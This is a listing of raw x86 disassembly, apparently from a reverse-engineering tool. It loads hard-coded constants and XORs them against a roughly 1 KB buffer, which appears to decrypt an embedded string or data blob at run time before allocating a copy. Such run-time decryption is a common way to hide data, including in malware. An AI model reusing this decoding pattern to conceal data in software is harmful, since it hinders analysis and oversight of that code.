mov eax, 0xc9ac6acd
mov ecx, 0x9c335933
mov dword [ebx + 0x144], ecx
mov dword [ebx + 0x140], eax
mov eax, 0x6fa8456e
mov ecx, 0x679cfd0a
mov dword [ebx + 0x14c], ecx
mov dword [ebx + 0x148], eax
mov eax, 0x8296ad6f
mov ecx, 0x82819c31
mov dword [ebx + 0x154], ecx
mov dword [ebx + 0x150], eax
mov eax, 0xa4e50190
mov ecx, 0xc62f7e68
mov dword [ebx + 0x15c], ecx
mov dword [ebx + 0x158], eax
mov eax, 0x5ac4fa71
mov ecx, 0xaf0956af
mov dword [ebx + 0x164], ecx
mov dword [ebx + 0x160], eax
mov eax, 0xf1ad7c52
mov ecx, 0xb92d92a6
mov dword [ebx + 0x16c], ecx
mov dword [ebx + 0x168], eax
mov eax, 0xaafbcb13
mov ecx, 0x1ca8ad0d
mov dword [ebx + 0x174], ecx
mov dword [ebx + 0x170], eax
mov eax, 0x8f1d8bb4
mov ecx, 0x3bb201e4
mov dword [ebx + 0x17c], ecx
mov dword [ebx + 0x178], eax
mov eax, 0x1cb32b5
mov ecx, 0x28122b8b
mov dword [ebx + 0x184], ecx
mov dword [ebx + 0x180], eax
mov eax, 0x4ead4896
mov ecx, 0x4ed8aa42
mov dword [ebx + 0x18c], ecx
mov dword [ebx + 0x188], eax
mov eax, 0xbe3fc997
mov ecx, 0x1bbcda49
mov dword [ebx + 0x194], ecx
mov dword [ebx + 0x190], eax
mov eax, 0x8434b9d8
mov ecx, 0x97e8e840
mov dword [ebx + 0x19c], ecx
mov dword [ebx + 0x198], eax
mov eax, 0xb396cad9
mov ecx, 0x4f660927
mov dword [ebx + 0x1a4], ecx
mov dword [ebx + 0x1a0], eax
mov eax, 0xd3b378fa
mov ecx, 0x21fb0fbe
mov dword [ebx + 0x1ac], ecx
mov dword [ebx + 0x1a8], eax
mov eax, 0xcfc646bb
mov ecx, 0x93efb05
mov dword [ebx + 0x1b4], ecx
mov dword [ebx + 0x1b0], eax
mov eax, 0x861ce5fc
mov ecx, 0x99c17fc
mov dword [ebx + 0x1bc], ecx
mov dword [ebx + 0x1b8], eax
mov eax, 0xaba8bfdd
mov ecx, 0xa21e17e3
mov dword [ebx + 0x1c4], ecx
mov dword [ebx + 0x1c0], eax
mov eax, 0x8c8158fe
mov ecx, 0x8d3d7fba
mov dword [ebx + 0x1cc], ecx
mov dword [ebx + 0x1c8], eax
mov eax, 0x28f7537f
mov ecx, 0x1163bbe1
mov dword [ebx + 0x1d4], ecx
mov dword [ebx + 0x1d0], eax
mov eax, 0x9e831aa0
mov ecx, 0x869a3f18
mov dword [ebx + 0x1dc], ecx
mov dword [ebx + 0x1d8], eax
mov eax, 0x65697901
mov ecx, 0x5b0ad5f
mov dword [ebx + 0x1e4], ecx
mov dword [ebx + 0x1e0], eax
mov eax, 0x75619ce2
mov ecx, 0x49fda7d6
mov dword [ebx + 0x1ec], ecx
mov dword [ebx + 0x1e8], eax
mov eax, 0x55ff1423
mov ecx, 0x8aacc0bd
mov dword [ebx + 0x1f4], ecx
mov dword [ebx + 0x1f0], eax
mov eax, 0xcdca344
mov ecx, 0x319eb014
mov dword [ebx + 0x1fc], ecx
mov dword [ebx + 0x1f8], eax
mov eax, 0x101cc445
mov ecx, 0xa967ffbb
mov dword [ebx + 0x204], ecx
mov dword [ebx + 0x200], eax
mov eax, 0xa5c48ba6
mov ecx, 0xa58000f2
mov dword [ebx + 0x20c], ecx
mov dword [ebx + 0x208], eax
mov eax, 0x6deb4d27
mov ecx, 0x393349f9
mov dword [ebx + 0x214], ecx
mov dword [ebx + 0x210], eax
mov eax, 0x8e78b868
mov ecx, 0x5ecfbf0
mov dword [ebx + 0x21c], ecx
mov dword [ebx + 0x218], eax
mov eax, 0x7c21a8e9
mov ecx, 0x98f698d7
mov dword [ebx + 0x224], ecx
mov dword [ebx + 0x220], eax
mov eax, 0x1c34448a
mov ecx, 0xa48e186e
mov dword [ebx + 0x22c], ecx
mov dword [ebx + 0x228], eax
mov eax, 0xbd5df44b
mov ecx, 0x1095e235
mov dword [ebx + 0x234], ecx
mov dword [ebx + 0x230], eax
mov eax, 0xae51a30c
mov ecx, 0x10f2ff2c
mov dword [ebx + 0x23c], ecx
mov dword [ebx + 0x238], eax
mov eax, 0xb0797bed
mov ecx, 0xc1c98e13
mov dword [ebx + 0x244], ecx
mov dword [ebx + 0x240], eax
mov eax, 0xe5b1580e
mov ecx, 0x3788b7ea
mov dword [ebx + 0x24c], ecx
mov dword [ebx + 0x248], eax
mov eax, 0x8ed548f
mov ecx, 0x680b1291
mov dword [ebx + 0x254], ecx
mov dword [ebx + 0x250], eax
mov eax, 0x9620d2b0
mov ecx, 0x38e11c48
mov dword [ebx + 0x25c], ecx
mov dword [ebx + 0x258], eax
mov eax, 0x7b26591
mov ecx, 0xb934bf0f
mov dword [ebx + 0x264], ecx
mov dword [ebx + 0x260], eax
mov eax, 0xd91072f2
mov ecx, 0x7a96e406
mov dword [ebx + 0x26c], ecx
mov dword [ebx + 0x268], eax
mov eax, 0xde0fa333
mov ecx, 0x1851abed
mov dword [ebx + 0x274], ecx
mov dword [ebx + 0x270], eax
mov eax, 0x33c9c9d4
mov ecx, 0xe3e58d44
mov dword [ebx + 0x27c], ecx
mov dword [ebx + 0x278], eax
mov eax, 0x49a23955
mov ecx, 0xb08ff2eb
mov dword [ebx + 0x284], ecx
mov dword [ebx + 0x280], eax
mov eax, 0xce39a1b6
mov ecx, 0x82755ba2
mov dword [ebx + 0x28c], ecx
mov dword [ebx + 0x288], eax
mov eax, 0xc2999437
mov ecx, 0x1628a4a9
mov dword [ebx + 0x294], ecx
mov dword [ebx + 0x290], eax
mov eax, 0xc4abc278
mov ecx, 0xe78347a0
mov dword [ebx + 0x29c], ecx
mov dword [ebx + 0x298], eax
mov eax, 0xc6f0ff79
mov ecx, 0x76397287
mov dword [ebx + 0x2a4], ecx
mov dword [ebx + 0x2a0], eax
mov eax, 0x73fb511a
mov ecx, 0x81d0f21e
mov dword [ebx + 0x2ac], ecx
mov dword [ebx + 0x2a8], eax
mov eax, 0x7cce96db
mov ecx, 0xd8fc47e5
mov dword [ebx + 0x2b4], ecx
mov dword [ebx + 0x2b0], eax
mov eax, 0x8eea71c
mov ecx, 0xef730d5c
mov dword [ebx + 0x2bc], ecx
mov dword [ebx + 0x2b8], eax
mov eax, 0x830ebdfd
mov ecx, 0x24bffbc3
mov dword [ebx + 0x2c4], ecx
mov dword [ebx + 0x2c0], eax
mov eax, 0x94f1671e
mov ecx, 0xe9cf951a
mov dword [ebx + 0x2cc], ecx
mov dword [ebx + 0x2c8], eax
mov eax, 0xb8d2fd1f
mov ecx, 0xf76eff41
mov dword [ebx + 0x2d4], ecx
mov dword [ebx + 0x2d0], eax
mov eax, 0x2359a840
mov ecx, 0x6618ddf8
mov dword [ebx + 0x2dc], ecx
mov dword [ebx + 0x2d8], eax
mov eax, 0x690e0a1
mov ecx, 0xc126163f
mov dword [ebx + 0x2e4], ecx
mov dword [ebx + 0x2e0], eax
mov eax, 0x5b9d2002
mov ecx, 0x2cddc136
mov dword [ebx + 0x2ec], ecx
mov dword [ebx + 0x2e8], eax
mov eax, 0xb3d82543
mov ecx, 0x3df22e9d
mov dword [ebx + 0x2f4], ecx
mov dword [ebx + 0x2f0], eax
mov eax, 0xd7c65564
mov ecx, 0x9a7fdc74
mov dword [ebx + 0x2fc], ecx
mov dword [ebx + 0x2f8], eax
mov eax, 0x9871d665
mov ecx, 0xd630759b
mov dword [ebx + 0x304], ecx
mov dword [ebx + 0x300], eax
mov eax, 0x45ad7246
mov ecx, 0xbe3566d2
mov dword [ebx + 0x30c], ecx
mov dword [ebx + 0x308], eax
mov eax, 0xc9a849c7
mov ecx, 0xbba639d9
mov dword [ebx + 0x314], ecx
mov dword [ebx + 0x310], eax
mov eax, 0x70a80488
mov ecx, 0x99ca24d0
mov dword [ebx + 0x31c], ecx
mov dword [ebx + 0x318], eax
mov eax, 0x94034e89
mov ecx, 0xef4f68b7
mov dword [ebx + 0x324], ecx
mov dword [ebx + 0x320], eax
mov eax, 0x21d5c62a
mov ecx, 0xabc4e6ce
mov dword [ebx + 0x32c], ecx
mov dword [ebx + 0x328], eax
mov eax, 0x452addeb
mov ecx, 0x2998c715
mov dword [ebx + 0x334], ecx
mov dword [ebx + 0x330], eax
mov eax, 0xc9dab52c
mov ecx, 0x1513900c
mov dword [ebx + 0x33c], ecx
mov dword [ebx + 0x338], eax
mov eax, 0xd106150d
mov ecx, 0xee6395f3
mov dword [ebx + 0x344], ecx
mov dword [ebx + 0x340], eax
mov eax, 0x7701efae
mov ecx, 0xb9cd39ca
mov dword [ebx + 0x34c], ecx
mov dword [ebx + 0x348], eax
mov eax, 0x89f057af
mov ecx, 0xd4b1d8f1
mov dword [ebx + 0x354], ecx
mov dword [ebx + 0x350], eax
mov eax, 0xac3eabd0
mov ecx, 0x185fbb28
mov dword [ebx + 0x35c], ecx
mov dword [ebx + 0x358], eax
mov eax, 0x621ea4b1
mov ecx, 0x139936f
mov dword [ebx + 0x364], ecx
mov dword [ebx + 0x360], eax
mov eax, 0xf9072692
mov ecx, 0xb5dcf66
mov dword [ebx + 0x36c], ecx
mov dword [ebx + 0x368], eax
mov eax, 0xb2557553
mov ecx, 0x6ed8e9cd
mov dword [ebx + 0x374], ecx
mov dword [ebx + 0x370], eax
mov eax, 0x967735f4
mov ecx, 0x8de23ea4
mov dword [ebx + 0x37c], ecx
mov dword [ebx + 0x378], eax
mov eax, 0x924dcf5
mov ecx, 0x7a42684b
mov dword [ebx + 0x384], ecx
mov dword [ebx + 0x380], eax
mov eax, 0x5606f2d6
mov ecx, 0xa108e702
mov dword [ebx + 0x38c], ecx
mov dword [ebx + 0x388], eax
mov eax, 0xc59973d7
mov ecx, 0x6ded1709
mov dword [ebx + 0x394], ecx
mov dword [ebx + 0x390], eax
mov eax, 0x8b8e6418
mov ecx, 0xea192500
mov dword [ebx + 0x39c], ecx
mov dword [ebx + 0x398], eax
mov eax, 0xbaf07519
mov ecx, 0xa19645e7
mov dword [ebx + 0x3a4], ecx
mov dword [ebx + 0x3a0], eax
mov eax, 0xdb0d233a
mov ecx, 0x742b4c7e
mov dword [ebx + 0x3ac], ecx
mov dword [ebx + 0x3a8], eax
mov eax, 0xd71ff0fb
mov ecx, 0x5b6f37c5
mov dword [ebx + 0x3b4], ecx
mov dword [ebx + 0x3b0], eax
mov eax, 0x8d76903c
mov ecx, 0x5bcc54bc
mov dword [ebx + 0x3bc], ecx
mov dword [ebx + 0x3b8], eax
mov eax, 0xb3026a1d
mov ecx, 0xf44e54a3
mov dword [ebx + 0x3c4], ecx
mov dword [ebx + 0x3c0], eax
mov eax, 0x93db033e
mov ecx, 0xdf6dbc7a
mov dword [ebx + 0x3cc], ecx
mov dword [ebx + 0x3c8], eax
mov eax, 0x3050fdbf
mov ecx, 0x6393f8a1
mov dword [ebx + 0x3d4], ecx
mov dword [ebx + 0x3d0], eax
mov eax, 0xa5dcc4e0
mov ecx, 0xd8ca7bd8
mov dword [ebx + 0x3dc], ecx
mov dword [ebx + 0x3d8], eax
mov eax, 0x6cc32341
mov ecx, 0x57e0ea1f
mov dword [ebx + 0x3e4], ecx
mov dword [ebx + 0x3e0], eax
mov eax, 0x7cbb4722
mov ecx, 0x9c2de496
mov dword [ebx + 0x3ec], ecx
mov dword [ebx + 0x3e8], eax
mov eax, 0x5d58be63
mov ecx, 0xdcdcfd7d
mov dword [ebx + 0x3f4], ecx
mov dword [ebx + 0x3f0], eax
mov eax, 0x14364d84
mov ecx, 0x83ceecd4
mov dword [ebx + 0x3fc], ecx
mov dword [ebx + 0x3f8], eax
mov eax, 0x17766e85
mov ecx, 0xfb983c7b
mov dword [ebx + 0x404], ecx
mov dword [ebx + 0x400], eax
mov eax, 0xad1e35e6
mov ecx, 0xf7b03db2
mov dword [ebx + 0x40c], ecx
mov dword [ebx + 0x408], eax
mov eax, 0x7544f767
mov ecx, 0x8b6386b9
mov dword [ebx + 0x414], ecx
mov dword [ebx + 0x410], eax
mov eax, 0x95d262a8
mov ecx, 0x581d38b0
mov dword [ebx + 0x41c], ecx
mov dword [ebx + 0x418], eax
mov eax, 0x837b5329
mov ecx, 0xeb26d597
mov dword [ebx + 0x424], ecx
mov dword [ebx + 0x420], eax
mov eax, 0x238deeca
mov ecx, 0xf6be552e
mov dword [ebx + 0x42c], ecx
mov dword [ebx + 0x428], eax
mov eax, 0xc4b79e8b
mov ecx, 0x62c61ef5
mov dword [ebx + 0x434], ecx
mov dword [ebx + 0x430], eax
mov eax, 0xb5ab4d4c
mov ecx, 0x63233bec
mov dword [ebx + 0x43c], ecx
mov dword [ebx + 0x438], eax
mov eax, 0xb7d3262d
mov ecx, 0x13f9cad3
mov dword [ebx + 0x444], ecx
mov dword [ebx + 0x440], eax
mov eax, 0xed0b024e
mov ecx, 0x89b8f4aa
mov dword [ebx + 0x44c], ecx
mov dword [ebx + 0x448], eax
mov eax, 0x1046fecf
mov ecx, 0xba3b4f51
mov dword [ebx + 0x454], ecx
mov dword [ebx + 0x450], eax
mov eax, 0x9d7a7cf0
mov ecx, 0x8b115908
mov dword [ebx + 0x45c], ecx
mov dword [ebx + 0x458], eax
mov eax, 0xf0c0fd1
mov ecx, 0xb64fbcf
mov dword [ebx + 0x464], ecx
mov dword [ebx + 0x460], eax
mov eax, 0xe06a1d32
mov ecx, 0xccc720c6
mov dword [ebx + 0x46c], ecx
mov dword [ebx + 0x468], eax
mov eax, 0xe5694d73
mov ecx, 0x6a81e8ad
mov dword [ebx + 0x474], ecx
mov dword [ebx + 0x470], eax
mov eax, 0x3615ca04
mov ecx, 0x3b237414
mov dword [ebx + 0x47c], eax
mov dword [ebx + 0x478], ecx
mov eax, ebx
xor ecx, ecx
movaps xmm0, xmmword [esi + 0x50]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x50], xmm0
movaps xmm0, xmmword [esi + 0x480]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x480], xmm0
movaps xmm0, xmmword [esi + 0x470]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [esi + 0x470], xmm0
movaps xmm0, xmmword [esi + 0x460]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [esi + 0x460], xmm0
movaps xmm0, xmmword [esi + 0x450]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [esi + 0x450], xmm0
movaps xmm0, xmmword [esi + 0x440]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [esi + 0x440], xmm0
movaps xmm0, xmmword [esi + 0x430]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [esi + 0x430], xmm0
movaps xmm0, xmmword [esi + 0x420]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [esi + 0x420], xmm0
movaps xmm0, xmmword [esi + 0x410]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [esi + 0x410], xmm0
movaps xmm0, xmmword [esi + 0x400]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [esi + 0x400], xmm0
movaps xmm0, xmmword [esi + 0x3f0]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [esi + 0x3f0], xmm0
movaps xmm0, xmmword [esi + 0x3e0]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [esi + 0x3e0], xmm0
movaps xmm0, xmmword [esi + 0x3d0]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [esi + 0x3d0], xmm0
movaps xmm0, xmmword [esi + 0x3c0]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [esi + 0x3c0], xmm0
movaps xmm0, xmmword [esi + 0x3b0]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [esi + 0x3b0], xmm0
movaps xmm0, xmmword [esi + 0x3a0]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [esi + 0x3a0], xmm0
movaps xmm0, xmmword [esi + 0x390]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [esi + 0x390], xmm0
movaps xmm0, xmmword [esi + 0x380]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [esi + 0x380], xmm0
movaps xmm0, xmmword [esi + 0x370]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [esi + 0x370], xmm0
movaps xmm0, xmmword [esi + 0x360]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [esi + 0x360], xmm0
movaps xmm0, xmmword [esi + 0x350]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [esi + 0x350], xmm0
movaps xmm0, xmmword [esi + 0x340]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [esi + 0x340], xmm0
movaps xmm0, xmmword [esi + 0x330]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [esi + 0x330], xmm0
movaps xmm0, xmmword [esi + 0x320]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [esi + 0x320], xmm0
movaps xmm0, xmmword [esi + 0x310]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [esi + 0x310], xmm0
movaps xmm0, xmmword [esi + 0x300]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [esi + 0x300], xmm0
movaps xmm0, xmmword [esi + 0x2f0]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [esi + 0x2f0], xmm0
movaps xmm0, xmmword [esi + 0x2e0]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [esi + 0x2e0], xmm0
movaps xmm0, xmmword [esi + 0x2d0]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [esi + 0x2d0], xmm0
movaps xmm0, xmmword [esi + 0x2c0]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [esi + 0x2c0], xmm0
movaps xmm0, xmmword [esi + 0x2b0]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [esi + 0x2b0], xmm0
movaps xmm0, xmmword [esi + 0x2a0]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [esi + 0x2a0], xmm0
movaps xmm0, xmmword [esi + 0x290]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [esi + 0x290], xmm0
movaps xmm0, xmmword [esi + 0x280]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [esi + 0x280], xmm0
movaps xmm0, xmmword [esi + 0x270]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [esi + 0x270], xmm0
movaps xmm0, xmmword [esi + 0x260]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [esi + 0x260], xmm0
movaps xmm0, xmmword [esi + 0x250]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [esi + 0x250], xmm0
movaps xmm0, xmmword [esi + 0x240]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [esi + 0x240], xmm0
movaps xmm0, xmmword [esi + 0x230]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [esi + 0x230], xmm0
movaps xmm0, xmmword [esi + 0x220]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [esi + 0x220], xmm0
movaps xmm0, xmmword [esi + 0x210]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [esi + 0x210], xmm0
movaps xmm0, xmmword [esi + 0x200]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [esi + 0x200], xmm0
movaps xmm0, xmmword [esi + 0x1f0]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [esi + 0x1f0], xmm0
movaps xmm0, xmmword [esi + 0x1e0]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [esi + 0x1e0], xmm0
movaps xmm0, xmmword [esi + 0x1d0]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [esi + 0x1d0], xmm0
movaps xmm0, xmmword [esi + 0x1c0]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [esi + 0x1c0], xmm0
movaps xmm0, xmmword [esi + 0x1b0]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [esi + 0x1b0], xmm0
movaps xmm0, xmmword [esi + 0x1a0]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [esi + 0x1a0], xmm0
movaps xmm0, xmmword [esi + 0x190]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [esi + 0x190], xmm0
movaps xmm0, xmmword [esi + 0x180]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [esi + 0x180], xmm0
movaps xmm0, xmmword [esi + 0x170]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [esi + 0x170], xmm0
movaps xmm0, xmmword [esi + 0x160]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [esi + 0x160], xmm0
movaps xmm0, xmmword [esi + 0x150]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [esi + 0x150], xmm0
movaps xmm0, xmmword [esi + 0x140]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [esi + 0x140], xmm0
movaps xmm0, xmmword [esi + 0x130]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [esi + 0x130], xmm0
movaps xmm0, xmmword [esi + 0x120]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [esi + 0x120], xmm0
movaps xmm0, xmmword [esi + 0x110]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [esi + 0x110], xmm0
movaps xmm0, xmmword [esi + 0x100]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [esi + 0x100], xmm0
movaps xmm0, xmmword [esi + 0xf0]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [esi + 0xf0], xmm0
movaps xmm0, xmmword [esi + 0xe0]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [esi + 0xe0], xmm0
movaps xmm0, xmmword [esi + 0xd0]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [esi + 0xd0], xmm0
movaps xmm0, xmmword [esi + 0xc0]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [esi + 0xc0], xmm0
movaps xmm0, xmmword [esi + 0xb0]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [esi + 0xb0], xmm0
movaps xmm0, xmmword [esi + 0xa0]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [esi + 0xa0], xmm0
movaps xmm0, xmmword [esi + 0x90]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [esi + 0x90], xmm0
pxor xmm4, xmmword [eax + 0x410]
movdqa xmmword [esi + 0x4e0], xmm4
pxor xmm5, xmmword [eax + 0x420]
movdqa xmmword [esi + 0x4d0], xmm5
pxor xmm6, xmmword [eax + 0x430]
movdqa xmmword [esi + 0x4c0], xmm6
pxor xmm7, xmmword [eax + 0x440]
movdqa xmmword [esi + 0x4b0], xmm7
pxor xmm3, xmmword [eax + 0x450]
movdqa xmmword [esi + 0x4a0], xmm3
pxor xmm2, xmmword [eax + 0x460]
movdqa xmmword [esi + 0x490], xmm2
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [esi + 0x10], xmm0
xor edi, edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x44], edi
push 0x480
call fcn.00412e62
add esp, 4
movaps xmm0, xmmword [esi + 0x50]
movups xmmword [eax], xmm0
movaps xmm0, xmmword [esi + 0x480]
movups xmmword [eax + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x470]
movups xmmword [eax + 0x20], xmm0
movaps xmm0, xmmword [esi + 0x460]
movups xmmword [eax + 0x30], xmm0
movaps xmm0, xmmword [esi + 0x450]
movups xmmword [eax + 0x40], xmm0
movaps xmm0, xmmword [esi + 0x440]
movups xmmword [eax + 0x50], xmm0
movaps xmm0, xmmword [esi + 0x430]
movups xmmword [eax + 0x60], xmm0
movaps xmm0, xmmword [esi + 0x420]
movups xmmword [eax + 0x70], xmm0
movaps xmm0, xmmword [esi + 0x410]
movups xmmword [eax + 0x80], xmm0
movaps xmm0, xmmword [esi + 0x400]
movups xmmword [eax + 0x90], xmm0
movaps xmm0, xmmword [esi + 0x3f0]
movups xmmword [eax + 0xa0], xmm0
movaps xmm0, xmmword [esi + 0x3e0]
movups xmmword [eax + 0xb0], xmm0
movaps xmm0, xmmword [esi + 0x3d0]
movups xmmword [eax + 0xc0], xmm0
movaps xmm0, xmmword [esi + 0x3c0]
movups xmmword [eax + 0xd0], xmm0
movaps xmm0, xmmword [esi + 0x3b0]
movups xmmword [eax + 0xe0], xmm0
movaps xmm0, xmmword [esi + 0x3a0]
movups xmmword [eax + 0xf0], xmm0
movaps xmm0, xmmword [esi + 0x390]
movups xmmword [eax + 0x100], xmm0
movaps xmm0, xmmword [esi + 0x380]
movups xmmword [eax + 0x110], xmm0
movaps xmm0, xmmword [esi + 0x370]
movups xmmword [eax + 0x120], xmm0
movaps xmm0, xmmword [esi + 0x360]
movups xmmword [eax + 0x130], xmm0
movaps xmm0, xmmword [esi + 0x350]
movups xmmword [eax + 0x140], xmm0
movaps xmm0, xmmword [esi + 0x340]
movups xmmword [eax + 0x150], xmm0
movaps xmm0, xmmword [esi + 0x330]
movups xmmword [eax + 0x160], xmm0
movaps xmm0, xmmword [esi + 0x320]
movups xmmword [eax + 0x170], xmm0
movaps xmm0, xmmword [esi + 0x310]
movups xmmword [eax + 0x180], xmm0
movaps xmm0, xmmword [esi + 0x300]
movups xmmword [eax + 0x190], xmm0
movaps xmm0, xmmword [esi + 0x2f0]
movups xmmword [eax + 0x1a0], xmm0
movaps xmm0, xmmword [esi + 0x2e0]
movups xmmword [eax + 0x1b0], xmm0
movaps xmm0, xmmword [esi + 0x2d0]
movups xmmword [eax + 0x1c0], xmm0
movaps xmm0, xmmword [esi + 0x2c0]
movups xmmword [eax + 0x1d0], xmm0
movaps xmm0, xmmword [esi + 0x2b0]
movups xmmword [eax + 0x1e0], xmm0
movaps xmm0, xmmword [esi + 0x2a0]
movups xmmword [eax + 0x1f0], xmm0
movaps xmm0, xmmword [esi + 0x290]
movups xmmword [eax + 0x200], xmm0
movaps xmm0, xmmword [esi + 0x280]
movups xmmword [eax + 0x210], xmm0
movaps xmm0, xmmword [esi + 0x270]
movups xmmword [eax + 0x220], xmm0
movaps xmm0, xmmword [esi + 0x260]
movups xmmword [eax + 0x230], xmm0
movaps xmm0, xmmword [esi + 0x250]
movups xmmword [eax + 0x240], xmm0
movaps xmm0, xmmword [esi + 0x240]
movups xmmword [eax + 0x250], xmm0
movaps xmm0, xmmword [esi + 0x230]
movups xmmword [eax + 0x260], xmm0
movaps xmm0, xmmword [esi + 0x220]
movups xmmword [eax + 0x270], xmm0
movaps xmm0, xmmword [esi + 0x210]
movups xmmword [eax + 0x280], xmm0
movaps xmm0, xmmword [esi + 0x200]
movups xmmword [eax + 0x290], xmm0
movaps xmm0, xmmword [esi + 0x1f0]
movups xmmword [eax + 0x2a0], xmm0
movaps xmm0, xmmword [esi + 0x1e0]
movups xmmword [eax + 0x2b0], xmm0
movaps xmm0, xmmword [esi + 0x1d0]
movups xmmword [eax + 0x2c0], xmm0
movaps xmm0, xmmword [esi + 0x1c0]
movups xmmword [eax + 0x2d0], xmm0
movaps xmm0, xmmword [esi + 0x1b0]
movups xmmword [eax + 0x2e0], xmm0
movaps xmm0, xmmword [esi + 0x1a0]
movups xmmword [eax + 0x2f0], xmm0
movaps xmm0, xmmword [esi + 0x190]
movups xmmword [eax + 0x300], xmm0
movaps xmm0, xmmword [esi + 0x180]
movups xmmword [eax + 0x310], xmm0
movaps xmm0, xmmword [esi + 0x170]
movups xmmword [eax + 0x320], xmm0
movaps xmm0, xmmword [esi + 0x160]
movups xmmword [eax + 0x330], xmm0
movaps xmm0, xmmword [esi + 0x150]
movups xmmword [eax + 0x340], xmm0
movaps xmm0, xmmword [esi + 0x140]
movups xmmword [eax + 0x350], xmm0
movaps xmm0, xmmword [esi + 0x130]
movups xmmword [eax + 0x360], xmm0
movaps xmm0, xmmword [esi + 0x120]
movups xmmword [eax + 0x370], xmm0
movaps xmm0, xmmword [esi + 0x110]
movups xmmword [eax + 0x380], xmm0
movaps xmm0, xmmword [esi + 0x100]
movups xmmword [eax + 0x390], xmm0
movaps xmm0, xmmword [esi + 0xf0]
movups xmmword [eax + 0x3a0], xmm0
movaps xmm0, xmmword [esi + 0xe0]
movups xmmword [eax + 0x3b0], xmm0
movaps xmm0, xmmword [esi + 0xd0]
movups xmmword [eax + 0x3c0], xmm0
movaps xmm0, xmmword [esi + 0xc0]
movups xmmword [eax + 0x3d0], xmm0
movaps xmm0, xmmword [esi + 0xb0]
movups xmmword [eax + 0x3e0], xmm0
movaps xmm0, xmmword [esi + 0xa0]
movups xmmword [eax + 0x3f0], xmm0
movaps xmm0, xmmword [esi + 0x90]
movups xmmword [eax + 0x400], xmm0
movaps xmm0, xmmword [esi + 0x4e0]
movups xmmword [eax + 0x410], xmm0
movaps xmm0, xmmword [esi + 0x4d0]
movups xmmword [eax + 0x420], xmm0
movaps xmm0, xmmword [esi + 0x4c0]
movups xmmword [eax + 0x430], xmm0
movaps xmm0, xmmword [esi + 0x4b0]
movups xmmword [eax + 0x440], xmm0
movaps xmm0, xmmword [esi + 0x4a0]
movups xmmword [eax + 0x450], xmm0
movaps xmm0, xmmword [esi + 0x490]
movups xmmword [eax + 0x460], xmm0
mov ecx, dword [esi + 0x18]
mov dword [eax + 0x478], ecx
mov dword [esi + 0x38], eax
movsd xmm0, qword [esi + 0x10]
movsd qword [eax + 0x470], xmm0
mov byte [eax + 0x47c], 0
mov eax, 0x47c
mov dword [esi + 0x48], eax
mov dword [esi + 0x8c], eax
mov eax, 0x64826e4b
mov ecx, 0x3654ad97
mov dword [esi + 0x14], ecx
